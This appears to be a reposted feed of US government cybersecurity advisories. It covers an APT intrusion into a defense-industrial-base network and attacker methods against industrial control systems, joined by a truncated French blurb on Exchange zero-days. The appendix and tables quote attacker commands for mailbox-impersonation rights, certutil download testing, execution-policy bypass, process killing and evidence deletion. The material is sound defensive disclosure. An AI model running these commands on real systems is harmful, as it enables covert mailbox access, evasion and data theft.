Original release date: October 4, 2022

Summary

Actions to Help Protect Against Russian State-Sponsored Malicious Cyber Activity:

• Enforce multifactor authentication (MFA) on all user accounts.
• Implement network segmentation to separate network segments based on role and functionality.
• Update software, including operating systems, applications, and firmware, on network assets.
• Audit account usage.

From November 2021 through January 2022, the Cybersecurity and Infrastructure Security Agency (CISA) responded to advanced persistent threat (APT) activity on a Defense Industrial Base (DIB) Sector organization’s enterprise network. During incident response activities, CISA uncovered that likely multiple APT groups compromised the organization’s network, and some APT actors had long-term access to the environment. APT actors used an open-source toolkit called Impacket to gain their foothold within the environment and further compromise the network, and also used a custom data exfiltration tool, CovalentStealer, to steal the victim’s sensitive data.

This joint Cybersecurity Advisory (CSA) provides APT actors tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) identified during the incident response activities by CISA and a third-party incident response organization. The CSA includes detection and mitigation actions to help organizations detect and prevent related APT activity. CISA, the Federal Bureau of Investigation (FBI), and the National Security Agency (NSA) recommend DIB sector and other critical infrastructure organizations implement the mitigations in this CSA to ensure they are managing and reducing the impact of cyber threats to their networks.

Download the PDF version of this report: pdf, 692 KB

For a downloadable copy of IOCs, see the following files:

Technical Details

Threat Actor Activity

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 11. See the MITRE ATT&CK Tactics and Techniques section for a table of the APT cyber activity mapped to MITRE ATT&CK for Enterprise framework.

From November 2021 through January 2022, CISA conducted an incident response engagement on a DIB Sector organization’s enterprise network. The victim organization also engaged a third-party incident response organization for assistance. During incident response activities, CISA and the trusted –third-party identified APT activity on the victim’s network.

Some APT actors gained initial access to the organization’s Microsoft Exchange Server as early as mid-January 2021. The initial access vector is unknown. Based on log analysis, the actors gathered information about the exchange environment and performed mailbox searches within a four-hour period after gaining access. In the same period, these actors used a compromised administrator account (“Admin 1”) to access the EWS Application Programming Interface (API). In early February 2021, the actors returned to the network and used Admin 1 to access EWS API again. In both instances, the actors used a virtual private network (VPN).

Four days later, the APT actors used Windows Command Shell over a three-day period to interact with the victim’s network. The actors used Command Shell to learn about the organization’s environment and to collect sensitive data, including sensitive contract-related information from shared drives, for eventual exfiltration. The actors manually collected files using the command-line tool, WinRAR. These files were split into approximately 3MB chunks located on the Microsoft Exchange server within the CU2hedebug directory. See Appendix: Windows Command Shell Activity for additional information, including specific commands used.

During the same period, APT actors implanted Impacket, a Python toolkit for programmatically constructing and manipulating network protocols, on another system. The actors used Impacket to attempt to move laterally to another system.

In early March 2021, APT actors exploited CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 to install 17 China Chopper webshells on the Exchange Server. Later in March, APT actors installed HyperBro on the Exchange Server and two other systems. For more information on the HyperBro and webshell samples, see CISA MAR-10365227-2 and -3.

In April 2021, APT actors used Impacket for network exploitation activities. See the Use of Impacket section for additional information. From late July through mid-October 2021, APT actors employed a custom exfiltration tool, CovalentStealer, to exfiltrate the remaining sensitive files. See the Use of Custom Exfiltration Tool: CovalentStealer section for additional information.

APT actors maintained access through mid-January 2022, likely by relying on legitimate credentials.

Use of Impacket

CISA discovered activity indicating the use of two Impacket tools: wmiexec.py and smbexec.py. These tools use Windows Management Instrumentation (WMI) and Server Message Block (SMB) protocol, respectively, for creating a semi-interactive shell with the target device. Through the Command Shell, an Impacket user with credentials can run commands on the remote device using the Windows management protocols required to support an enterprise network.

The APT cyber actors used existing, compromised credentials with Impacket to access a higher privileged service account used by the organization’s multifunctional devices. The threat actors first used the service account to remotely access the organization’s Microsoft Exchange server via Outlook Web Access (OWA) from multiple external IP addresses; shortly afterwards, the actors assigned the Application Impersonation role to the service account by running the following PowerShell command for managing Exchange:

powershell add-pssnapin *exchange*;New-ManagementRoleAssignment – name: »Journaling-Logs » -Role:ApplicationImpersonation -User:<account>

This command gave the service account the ability to access other users’ mailboxes.

The APT cyber actors used virtual private network (VPN) and virtual private server (VPS) providers, M247 and SurfShark, as part of their techniques to remotely access the Microsoft Exchange server. Use of these hosting providers, which serves to conceal interaction with victim networks, are common for these threat actors. According to CISA’s analysis of the victim’s Microsoft Exchange server Internet Information Services (IIS) logs, the actors used the account of a former employee to access the EWS. EWS enables access to mailbox items such as email messages, meetings, and contacts. The source IP address for these connections is mostly from the VPS hosting provider, M247.

Use of Custom Exfiltration Tool: CovalentStealer

The threat actors employed a custom exfiltration tool, CovalentStealer, to exfiltrate sensitive files.

CovalentStealer is designed to identify file shares on a system, categorize the files, and upload the files to a remote server. CovalentStealer includes two configurations that specifically target the victim’s documents using predetermined files paths and user credentials. CovalentStealer stores the collected files on a Microsoft OneDrive cloud folder, includes a configuration file to specify the types of files to collect at specified times and uses a 256-bit AES key for encryption. See CISA MAR-10365227-1 for additional technical details, including IOCs and detection signatures.

MITRE ATT&CK Tactics and Techniques

MITRE ATT&CK is a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. CISA uses the ATT&CK Framework as a foundation for the development of specific threat models and methodologies. Table 1 lists the ATT&CK techniques employed by the APT actors.

Table 1: Identified APT Enterprise ATT&CK Tactics and Techniques

Initial Access

Technique Title

ID

Use

Valid Accounts

T1078

Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization’s multifunctional device domain account used to access the organization’s Microsoft Exchange server via OWA.

Execution

Technique Title

ID

Use

Windows Management Instrumentation

T1047

Actors used Impacket tools wmiexec.py and smbexec.py to leverage Windows Management Instrumentation and execute malicious commands.

Command and Scripting Interpreter

T1059

Actors abused command and script interpreters to execute commands.

Command and Scripting Interpreter: PowerShell

T1059.001

Actors abused PowerShell commands and scripts to map shared drives by specifying a path to one location and retrieving the items from another. See Appendix: Windows Command Shell Activity for additional information.

Command and Scripting Interpreter: Windows Command Shell

T1059.003

Actors abused the Windows Command Shell to learn about the organization’s environment and to collect sensitive data. See Appendix: Windows Command Shell Activity for additional information, including specific commands used.

The actors used Impacket tools, which enable a user with credentials to run commands on the remote device through the Command Shell.

Command and Scripting Interpreter: Python

T1059.006

The actors used two Impacket tools: wmiexec.py and smbexec.py.

Shared Modules

T1129

Actors executed malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths.

System Services

T1569

Actors abused system services to execute commands or programs on the victim’s network.

Persistence

Technique Title

ID

Use

Valid Accounts

T1078

Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.

Create or Modify System Process

T1543

Actors were observed creating or modifying system processes.

Privilege Escalation

Technique Title

ID

Use

Valid Accounts

T1078

Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization’s multifunctional device domain account used to access the organization’s Microsoft Exchange server via OWA.

Defense Evasion

Technique Title

ID

Use

Masquerading: Match Legitimate Name or Location

T1036.005

Actors masqueraded the archive utility WinRAR.exe by renaming it VMware.exe to evade defenses and observation.

Indicator Removal on Host

T1070

Actors deleted or modified artifacts generated on a host system to remove evidence of their presence or hinder defenses.

Indicator Removal on Host: File Deletion

T1070.004

Actors used the del.exe command with the /f parameter to force the deletion of read-only files with the *.rar and tempg* wildcards.

Valid Accounts

T1078

Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization’s multifunctional device domain account used to access the organization’s Microsoft Exchange server via OWA.

Virtualization/Sandbox Evasion: System Checks

T1497.001

Actors used Windows command shell commands to detect and avoid virtualization and analysis environments. See Appendix: Windows Command Shell Activity for additional information.

Impair Defenses: Disable or Modify Tools

T1562.001

Actors used the taskkill command to probably disable security features. CISA was unable to determine which application was associated with the Process ID.

Hijack Execution Flow

T1574

Actors were observed using hijack execution flow.

Discovery

Technique Title

ID

Use

System Network Configuration Discovery

T1016

Actors used the systeminfo command to look for details about the network configurations and settings and determine if the system was a VMware virtual machine.

The threat actor used route print to display the entries in the local IP routing table.

System Network Configuration Discovery: Internet Connection Discovery

T1016.001

Actors checked for internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways.

System Owner/User Discovery

T1033

Actors attempted to identify the primary user, currently logged in user, set of users that commonly use a system, or whether a user is actively using the system.

System Network Connections Discovery

T1049

Actors used the netstat command to display TCP connections, prevent hostname determination of foreign IP addresses, and specify the protocol for TCP.

Process Discovery

T1057

Actors used the tasklist command to get information about running processes on a system and determine if the system was a VMware virtual machine.

The actors used tasklist.exe and find.exe to display a list of applications and services with their PIDs for all tasks running on the computer matching the string “powers.”

System Information Discovery

T1082

Actors used the ipconfig command to get detailed information about the operating system and hardware and determine if the system was a VMware virtual machine.

File and Directory Discovery

T1083

Actors enumerated files and directories or may search in specific locations of a host or network share for certain information within a file system.

Virtualization/Sandbox Evasion: System Checks

T1497.001

Actors used Windows command shell commands to detect and avoid virtualization and analysis environments.

Lateral Movement

Technique Title

ID

Use

Remote Services: SMB/Windows Admin Shares

T1021.002

Actors used Valid Accounts to interact with a remote network share using Server Message Block (SMB) and then perform actions as the logged-on user.

Collection

Technique Title

ID

Use

Archive Collected Data: Archive via Utility

T1560.001

Actor used PowerShell commands and WinRAR to compress and/or encrypt collected data prior to exfiltration.

Data from Network Shared Drive

T1039

Actors likely used net share command to display information about shared resources on the local computer and decide which directories to exploit, the powershell dir command to map shared drives to a specified path and retrieve items from another, and the ntfsinfo command to search network shares on computers they have compromised to find files of interest.

The actors used dir.exe to display a list of a directory’s files and subdirectories matching a certain text string.

Data Staged: Remote Data Staging

T1074.002

The actors split collected files into approximately
3 MB chunks located on the Exchange server within the CU2hedebug directory.

Command and Control

Technique Title

ID

Use

Non-Application Layer Protocol

T1095

Actors used a non-application layer protocol for communication between host and Command and Control (C2) server or among infected hosts within a network.

Ingress Tool Transfer

T1105

Actors used the certutil command with three switches to test if they could download files from the internet.

The actors employed CovalentStealer to exfiltrate the files.

Proxy

T1090

Actors are known to use VPN and VPS providers, namely M247 and SurfShark, as part of their techniques to access a network remotely.

Exfiltration

Technique Title

ID

Use

Schedule Transfer

T1029

Actors scheduled data exfiltration to be performed only at certain times of day or at certain intervals and blend traffic patterns with normal activity.

Exfiltration Over Web Service: Exfiltration to Cloud Storage

T1567.002

The actor’s CovalentStealer tool stores collected files on a Microsoft OneDrive cloud folder.

DETECTION

Given the actors’ demonstrated capability to maintain persistent, long-term access in compromised enterprise environments, CISA, FBI, and NSA encourage organizations to:

  • Monitor logs for connections from unusual VPSs and VPNs. Examine connection logs for access from unexpected ranges, particularly from machines hosted by SurfShark and M247.
  • Monitor for suspicious account use (e.g., inappropriate or unauthorized use of administrator accounts, service accounts, or third-party accounts). To detect use of compromised credentials in combination with a VPS, follow the steps below:
    • Review logs for « impossible logins, » such as logins with changing username, user agent strings, and IP address combinations or logins where IP addresses do not align to the expected user’s geographic location.
    • Search for « impossible travel, » which occurs when a user logs in from multiple IP addresses that are a significant geographic distance apart (i.e., a person could not realistically travel between the geographic locations of the two IP addresses in the time between logins). Note: This detection opportunity can result in false positives if legitimate users apply VPN solutions before connecting to networks.
    • Search for one IP used across multiple accounts, excluding expected logins.
      • Take note of any M247-associated IP addresses used along with VPN providers (e.g., SurfShark). Look for successful remote logins (e.g., VPN, OWA) for IPs coming from M247- or using SurfShark-registered IP addresses.
    • Identify suspicious privileged account use after resetting passwords or applying user account mitigations.
    • Search for unusual activity in typically dormant accounts.
    • Search for unusual user agent strings, such as strings not typically associated with normal user activity, which may indicate bot activity.
  • Review the YARA rules provided in MAR-10365227-1 to assist in determining whether malicious activity has been observed.
  • Monitor for the installation of unauthorized software, including Remote Server Administration Tools (e.g., psexec, RdClient, VNC, and ScreenConnect).
  • Monitor for anomalous and known malicious command-line use. See Appendix: Windows Command Shell Activity for commands used by the actors to interact with the victim’s environment.
  • Monitor for unauthorized changes to user accounts (e.g., creation, permission changes, and enabling a previously disabled account).

CONTAINMENT AND REMEDIATION

Organizations affected by active or recently active threat actors in their environment can take the following initial steps to aid in eviction efforts and prevent re-entry:

  • Report the incident. Report the incident to U.S. Government authorities and follow your organization’s incident response plan.
  • Reset all login accounts. Reset all accounts used for authentication since it is possible that the threat actors have additional stolen credentials. Password resets should also include accounts outside of Microsoft Active Directory, such as network infrastructure devices and other non-domain joined devices (e.g., IoT devices).
  • Monitor SIEM logs and build detections. Create signatures based on the threat actor TTPs and use these signatures to monitor security logs for any signs of threat actor re-entry.
  • Enforce MFA on all user accounts. Enforce phishing-resistant MFA on all accounts without exception to the greatest extent possible.
  • Follow Microsoft’s security guidance for Active DirectoryBest Practices for Securing Active Directory.
  • Audit accounts and permissions. Audit all accounts to ensure all unused accounts are disabled or removed and active accounts do not have excessive privileges. Monitor SIEM logs for any changes to accounts, such as permission changes or enabling a previously disabled account, as this might indicate a threat actor using these accounts.
  • Harden and monitor PowerShell by reviewing guidance in the joint Cybersecurity Information Sheet—Keeping PowerShell: Security Measures to Use and Embrace.

Mitigations

Mitigation recommendations are usually longer-term efforts that take place before a compromise as part of risk management efforts, or after the threat actors have been evicted from the environment and the immediate response actions are complete. While some may be tailored to the TTPs used by the threat actor, recovery recommendations are largely general best practices and industry standards aimed at bolstering overall cybersecurity posture.

Segment Networks Based on Function

  • Implement network segmentation to separate network segments based on role and functionality. Proper network segmentation significantly reduces the ability for ransomware and other threat actor lateral movement by controlling traffic flows between—and access to—various subnetworks. (See CISA’s Infographic on Layering Network Security Through Segmentation and NSA’s Segment Networks and Deploy Application-Aware Defenses.)
  • Isolate similar systems and implement micro-segmentation with granular access and policy restrictions to modernize cybersecurity and adopt Zero Trust (ZT) principles for both network perimeter and internal devices. Logical and physical segmentation are critical to limiting and preventing lateral movement, privilege escalation, and exfiltration.

Manage Vulnerabilities and Configurations

  • Update software, including operating systems, applications, and firmware, on network assets. Prioritize patching known exploited vulnerabilities and critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment.
  • Implement a configuration change control process that securely creates device configuration backups to detect unauthorized modifications. When a configuration change is needed, document the change, and include the authorization, purpose, and mission justification. Periodically verify that modifications have not been applied by comparing current device configurations with the most recent backups. If suspicious changes are observed, verify the change was authorized.

Search for Anomalous Behavior

  • Use cybersecurity visibility and analytics tools to improve detection of anomalous behavior and enable dynamic changes to policy and other response actions. Visibility tools include network monitoring tools and host-based logs and monitoring tools, such as an endpoint detection and response (EDR) tool. EDR tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.
  • Monitor the use of scripting languages (e.g., Python, Powershell) by authorized and unauthorized users. Anomalous use by either group may be indicative of malicious activity, intentional or otherwise.

Restrict and Secure Use of Remote Admin Tools

  • Limit the number of remote access tools as well as who and what can be accessed using them. Reducing the number of remote admin tools and their allowed access will increase visibility of unauthorized use of these tools.
  • Use encrypted services to protect network communications and disable all clear text administration services(e.g., Telnet, HTTP, FTP, SNMP 1/2c). This ensures that sensitive information cannot be easily obtained by a threat actor capturing network traffic.

Implement a Mandatory Access Control Model

  • Implement stringent access controls to sensitive data and resources. Access should be restricted to those users who require access and to the minimal level of access needed.

Audit Account Usage

  • Monitor VPN logins to look for suspicious access (e.g., logins from unusual geo locations, remote logins from accounts not normally used for remote access, concurrent logins for the same account from different locations, unusual times of the day).
  • Closely monitor the use of administrative accounts. Admin accounts should be used sparingly and only when necessary, such as installing new software or patches. Any use of admin accounts should be reviewed to determine if the activity is legitimate.
  • Ensure standard user accounts do not have elevated privileges Any attempt to increase permissions on standard user accounts should be investigated as a potential compromise.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, CISA, FBI, and NSA recommend exercising, testing, and validating your organization’s security program against threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA, FBI, and NSA recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Table 1).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze the performance of your detection and prevention technologies.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA, FBI, and NSA recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

CISA offers several no-cost scanning and testing services to help organizations reduce their exposure to threats by taking a proactive approach to mitigating attack vectors. See cisa.gov/cyber-hygiene-services.

U.S. DIB sector organizations may consider signing up for the NSA Cybersecurity Collaboration Center’s DIB Cybersecurity Service Offerings, including Protective Domain Name System (PDNS) services, vulnerability scanning, and threat intelligence collaboration for eligible organizations. For more information on how to enroll in these services, email dib_defense@cyber.nsa.gov.

ACKNOWLEDGEMENTS

CISA, FBI, and NSA acknowledge Mandiant for its contributions to this CSA.

APPENDIX: WINDOWS COMMAND SHELL ACTIVITY

Over a three-day period in February 2021, APT cyber actors used Windows Command Shell to interact with the victim’s environment. When interacting with the victim’s system and executing commands, the threat actors used /q and /c parameters to turn the echo off, carry out the command specified by a string, and stop its execution once completed.

On the first day, the threat actors consecutively executed many commands within the Windows Command Shell to learn about the organization’s environment and to collect sensitive data for eventual exfiltration (see Table 2).

Table 2: Windows Command Shell Activity (Day 1)

Command

Description / Use

net share

Used to create, configure, and delete network shares from the command-line.[1] The threat actor likely used this command to display information about shared resources on the local computer and decide which directories to exploit.

powershell dir

An alias (shorthand) for the PowerShell Get-ChildItem cmdlet. This command maps shared drives by specifying a path to one location and retrieving the items from another.[2] The threat actor added additional switches (aka options, parameters, or flags) to form a “one liner,” an expression to describe commonly used commands used in exploitation: powershell dir -recurse -path e:<redacted>|select fullname,length|export-csv c:windowstemptemp.txt. This particular command lists subdirectories of the target environment when.

systeminfo

Displays detailed configuration information [3], tasklist – lists currently running processes [4], and ipconfig displays all current Transmission Control Protocol (TCP)/IP network configuration values and refreshes Dynamic Host Configuration Protocol (DHCP) and Domain Name System (DNS) settings, respectively [5]. The threat actor used these commands with specific switches to determine if the system was a VMware virtual machine: systeminfo > vmware & date /T, tasklist /v > vmware & date /T, and ipconfig /all >> vmware & date /.

route print

Used to display and modify the entries in the local IP routing table. [6] The threat actor used this command to display the entries in the local IP routing table.

netstat

Used to display active TCP connections, ports on which the computer is listening, Ethernet statistics, the IP routing table, IPv4 statistics, and IPv6 statistics.[7] The threat actor used this command with three switches to display TCP connections, prevent hostname determination of foreign IP addresses, and specify the protocol for TCP: netstat -anp tcp.

certutil

Used to dump and display certification authority (CA) configuration information, configure Certificate Services, backup and restore CA components, and verify certificates, key pairs, and certificate chains.[8] The threat actor used this command with three switches to test if they could download files from the internet: certutil -urlcache -split -f https://microsoft.com temp.html.

ping

Sends Internet Control Message Protocol (ICMP) echoes to verify connectivity to another TCP/IP computer.[9] The threat actor used ping -n 2 apple.com to either test their internet connection or to detect and avoid virtualization and analysis environments or network restrictions.

taskkill

Used to end tasks or processes.[10] The threat actor used taskkill /F /PID 8952 to probably disable security features. CISA was unable to determine what this process was as the process identifier (PID) numbers are dynamic.

PowerShell Compress-Archive cmdlet

Used to create a compressed archive or to zip files from specified files and directories.[11] The threat actor used parameters indicating shared drives as file and folder sources and the destination archive as zipped files. Specifically, they collected sensitive contract-related information from the shared drives.

 

On the second day, the APT cyber actors executed the commands in Table 3 to perform discovery as well as collect and archive data.

Table 3: Windows Command Shell Activity (Day 2)

Command

Description / Use

ntfsinfo.exe

Used to obtain volume information from the New Technology File System (NTFS) and to print it along with a directory dump of NTFS meta-data files.[12]

WinRAR.exe

Used to compress files and subsequently masqueraded WinRAR.exe by renaming it VMware.exe.[13]

 

On the third day, the APT cyber actors returned to the organization’s network and executed the commands in Table 4.

Table 4: Windows Command Shell Activity (Day 3)

Command

Description / Use

powershell -ep bypass import-module .vmware.ps1;export-mft -volume e

Threat actors ran a PowerShell command with parameters to change the execution mode and bypass the Execution Policy to run the script from PowerShell and add a module to the current section: powershell -ep bypass import-module .vmware.ps1;export-mft -volume e. This module appears to acquire and export the Master File Table (MFT) for volume E for further analysis by the cyber actor.[14]

set.exe

Used to display the current environment variable settings.[15] (An environment variable is a dynamic value pointing to system or user environments (folders) of the system. System environment variables are defined by the system and used globally by all users, while user environment variables are only used by the user who declared that variable and they override the system environment variables (even if the variables are named the same).

dir.exe

Used to display a list of a directory’s files and subdirectories matching the eagx* text string, likely to confirm the existence of such file.

tasklist.exe and find.exe

Used to display a list of applications and services with their PIDs for all tasks running on the computer matching the string “powers”.[16][17][18]

ping.exe

Used to send two ICMP echos to amazon.com. This could have been to detect or avoid virtualization and analysis environments, circumvent network restrictions, or test their internet connection.[19]

del.exe with the /f parameter

Used to force the deletion of read-only files with the *.rar and tempg* wildcards.[20]

References

Revisions

  • October 4, 2022: Initial version

This product is provided subject to this Notification and this Privacy & Use policy.

Source de l’article sur us-cert.gov

En date du 29 septembre 2022, Microsoft a indiqué l’existence de deux vulnérabilités, de type zéro-jour, au sein de Windows Exchange 2013, 2016 et 2019.

Ces vulnérabilités sont les suivantes :

Original release date: September 22, 2022

Summary

Traditional approaches to securing OT/ICS do not adequately address current threats.

Operational technology/industrial control system (OT/ICS) assets that operate, control, and monitor day-to-day critical infrastructure and industrial processes continue to be an attractive target for malicious cyber actors. These cyber actors, including advanced persistent threat (APT) groups, target OT/ICS assets to achieve political gains, economic advantages, or destructive effects. Because OT/ICS systems manage physical operational processes, cyber actors’ operations could result in physical consequences, including loss of life, property damage, and disruption of National Critical Functions.

OT/ICS devices and designs are publicly available, often incorporate vulnerable information technology (IT) components, and include external connections and remote access that increase their attack surfaces. In addition, a multitude of tools are readily available to exploit IT and OT systems. As a result of these factors, malicious cyber actors present an increasing risk to ICS networks.

Traditional approaches to securing OT/ICS do not adequately address current threats to those systems. However, owners and operators who understand cyber actors’ tactics, techniques, and procedures (TTPs) can use that knowledge when prioritizing hardening actions for OT/ICS.

This joint Cybersecurity Advisory, which builds on previous NSA and CISA guidance to stop malicious ICS activity and reduce OT exposure [1] [2], describes TTPs that malicious actors use to compromise OT/ICS assets. It also recommends mitigations that owners and operators can use to defend their systems. NSA and CISA encourage OT/ICS owners and operators to apply the recommendations in this CSA.

Download the PDF version of this report: pdf, 538.12 kb

Technical Details

OT/ICS assets operate, control, and monitor industrial processes throughout U.S. critical infrastructure. Traditional ICS assets are difficult to secure due to their design for maximum availability and safety, coupled with their use of decades-old systems that often lack any recent security updates. Newer ICS assets may be able to be configured more securely, but often have an increased attack surface due to incorporating Internet or IT network connectivity to facilitate remote control and operations. The net effect of the convergence of IT and OT platforms has increased the risk of cyber exploitation of control systems. [3]

Today’s cyber realm is filled with well-funded malicious cyber actors financed by nation-states, as well as less sophisticated groups, independent hackers, and insider threats. Control systems have been targeted by a variety of these malicious cyber actors in recent years to achieve political gains, economic advantages, and possibly destructive effects. [4] [5] [6] [7] [8] More recently, APT actors have also developed tools for scanning, compromising, and controlling targeted OT devices. [9] 

Malicious actors’ game plan for control system intrusions

Cyber actors typically follow these steps to plan and execute compromises against critical infrastructure control systems:

  1. Establish intended effect and select a target.
  2. Collect intelligence about the target system.
  3. Develop techniques and tools to navigate and manipulate the system.
  4. Gain initial access to the system.
  5. Execute techniques and tools to create the intended effect.

Leveraging specific expertise and network knowledge, malicious actors such as nation-state actors can conduct these steps in a coordinated manner, sometimes concurrently and repeatedly, as illustrated by real world cyber activity. [5] [10]

Establish intended effect and select a target

Cyber actors, from cyber criminals to state-sponsored APT actors, target critical infrastructure to achieve a variety of objectives. Cyber criminals are financially motivated and target OT/ICS assets for financial gain (e.g., data extortion or ransomware operations). State-sponsored APT actors target critical infrastructure for political and/or military objectives, such as destabilizing political or economic landscapes or causing psychological or social impacts on a population. The cyber actor selects the target and the intended effect—to disrupt, disable, deny, deceive, and/or destroy—based on these objectives. For example, disabling power grids in strategic locations could destabilize economic landscapes or support broader military campaigns. Disrupting water treatment facilities or threatening to destroy a dam could have psychological or social impacts on a population. [11] [12]

Collect intelligence about the target system

Once the intent and target are established, the actor collects intelligence on the targeted control system. The actor may collect data from multiple sources, including:

  • Open-source research: A great deal of information about control systems and their designs is publicly available. For example, solicitation information and employment advertisements may indicate components and—list specific model numbers.
  • Insider threats: The actor may also leverage trusted insiders, even unwitting ones, for collecting information. Social engineering often elicits a wealth of information from people looking for a new job or even just trying to help.
  • Enterprise networks: The actor may compromise enterprise IT networks and collect and exfiltrate ICS-related information. Procurement documents, engineering specifications, and even configurations may be stored on corporate IT networks.

In addition to OT-specific intelligence, information about IT technologies used in control systems is widely available. Knowledge that was once limited to control system engineers and OT operators has become easily available as IT technologies move into more of the control system environment. Control system vendors, in conjunction with the owner/operator community, have continually optimized and reduced the cost of engineering, operating, and maintaining control systems by incorporating more commodity IT components and technologies in some parts of OT environments. These advancements sometimes can make information about some systems easily available, thereby increasing the risk of cyber exploitation. 

Develop techniques and tools

Using the intelligence collected about the control system’s design, a cyber actor may procure systems that are similar to the target and configure them as mock-up versions for practice purposes. Nation-state actors can easily obtain most control system equipment. Groups with limited means can still often acquire control systems through willing vendors and secondhand resellers.

Access to a mock-up of the target system enables an actor to determine the most effective tools and techniques. A cyber actor can leverage resident system utilities, available exploitation tools; or, if necessary, develop or purchase custom tools to affect the control system. Utilities that are already on the system can be used to reconfigure settings and may have powerful troubleshooting capabilities. 

As the control system community has incorporated commodity IT and modernized OT, the community has simplified the tools, techniques, scripts, and software packages used in control systems. As a result, a multitude of convenient tools are readily available to exploit IT and OT systems.

Actors may also develop custom ICS-focused malware based on their knowledge of the control systems. For example, TRITON malware was designed to target certain versions of Triconex Tricon programmable logic controllers (PLCs) by modifying in-memory firmware to add additional programming. The extra functionality allows an actor to read/modify memory contents and execute custom code, disabling the safety system. [13] APT actors have also developed tools to scan for, compromise, and control certain Schneider Electric PLCs, OMRON Sysmac NEX PLCs, and Open Platform Communications Unified Architecture (OPC UA) servers. [9] 

With TTPs in place, a cyber actor is prepared to do virtually anything that a normal system operator can, and potentially much more.

Gain initial access to the system

To leverage the techniques and tools that they developed and practiced, cyber actors must first gain access to the targeted system. 

Most modern control systems maintain remote access capabilities allowing vendors, integrators, service providers, owners, and operators access to the system. Remote access enables these parties to perform remote monitoring services, diagnose problems remotely, and verify warranty agreements. 

However, these access points often have poor security practices, such as using default and maintenance passwords. Malicious cyber actors can leverage these access points as vectors to covertly gain access to the system, exfiltrate data, and launch other cyber activities before an operator realizes there is a problem. Malicious actors can use web-based search platforms, such as Shodan, to identify these exposed access points. 

Vendor access to control systems typically use connections that create a bridge between control system networks and external environments. Often unknown to the owner/operator, this bridge provides yet another path for cyber exploitation and allows cyber actors to take advantage of vulnerabilities in other infrastructure to gain access to the control system. 

Remote access points and methodologies use a variety of access and communication protocols. Many are nothing more than vendor-provided dial-up modems and network switches protected only by obscurity and passwords. Some are dedicated devices and services that communicate via more secure virtual private networks (VPNs) and encryption. Few, if any, offer robust cybersecurity capabilities to protect the control system access points or prevent the transmission of acquired data outside the relatively secure environment of the isolated control system. This access to an ostensibly closed control system can be used to exploit the network and components.

Execute techniques and tools to create the intended effects

Once an actor gains initial access to targeted OT/ICS system, the actor will execute techniques, tools, and malware to achieve the intended effects on the target system. To disrupt, disable, deny, deceive, and/or destroy the system, the malicious actor often performs, in any order or in combination, the following activities:

  1. Degrade the operator’s ability to monitor the targeted system or degrade the operator’s confidence in the control system’s ability to operate, control, and monitor the targeted system. Functionally, an actor could prevent the operator’s display (human machine interface, or HMI) from being updated and selectively update or change visualizations on the HMI, as witnessed during the attack on the Ukraine power grid. [5] (Manipulation of View [T0832] )
  2. Operate the targeted control system. Functionally, this includes the ability to modify analog and digital values internal to the system (changing alarms and adding or modifying user accounts), or to change output control points — this includes abilities such as altering tap changer output signals, turbine speed demand, and opening and closing breakers. (Manipulation of Control [T0831])
  3. Impair the system’s ability to report data. Functionally, this is accomplished by degrading or disrupting communications with external communications circuits (e.g., ICCP , HDLC , PLC , VSAT, SCADA radio, other radio frequency mediums), remote terminal units (RTUs) or programmable logic controllers (PLCs), connected business or corporate networks, HMI subnetworks, other remote I/O, and any connected Historian/bulk data storage. (Block Reporting Message [T0804], Denial of View [T0815])
  4. Deny the operator’s ability to control the targeted system. Functionally, this includes the ability to stop, abort, or corrupt the system’s operating system (OS) or the supervisory control and data acquisition (SCADA) system’s software functionality. (Denial of Control [T0813])
  5. Enable remote or local reconnaissance on the control system. Functionally, an actor could obtain system configuration information to enable development of a modified system configuration or a custom tool. (Collection [TA0100], Theft of Operational Information [T0882])

Using these techniques, cyber actors could cause various physical consequences. They could open or close breakers, throttle valves, overfill tanks, set turbines to over-speed, or place plants in unsafe operating conditions. Additionally, cyber actors could manipulate the control environment, obscuring operator awareness and obstructing recovery, by locking interfaces and setting monitors to show normal conditions. Actors can even suspend alarm functionality, allowing the system to operate under unsafe conditions without alerting the operator. Even when physical safety systems should prevent catastrophic physical consequences, more limited effects are possible and could be sufficient to meet the actor’s intent. In some scenarios though, if an actor simultaneously manipulates multiple parts of the system, the physical safety systems may not be enough. Impacts to the system could be temporary or permanent, potentially even including physical destruction of equipment. 

Mitigations

The complexity of balancing network security with performance, features, ease-of-use, and availability can be overwhelming for owner/operators. This is especially true where system tools and scripts enable ease-of-use and increase availability or functionality of the control network; and when equipment vendors require remote access for warranty     compliance, service obligations, and financial/billing functionality. However, with the increase in targeting of OT/ICS by malicious actors, owner/operators should be more cognizant of the risks when making these balancing decisions. Owner/operators should also carefully consider what information about their systems needs to be publicly available and determine if each external connection is truly needed. [1] 

System owners and operators cannot prevent a malicious actor from targeting their systems. Understanding that being targeted is not an “if” but a “when” is essential context for making ICS security decisions. By assuming that the system is being targeted and predicting the effects that a malicious actor would intend to cause, owner/operators can employ and prioritize mitigation actions.

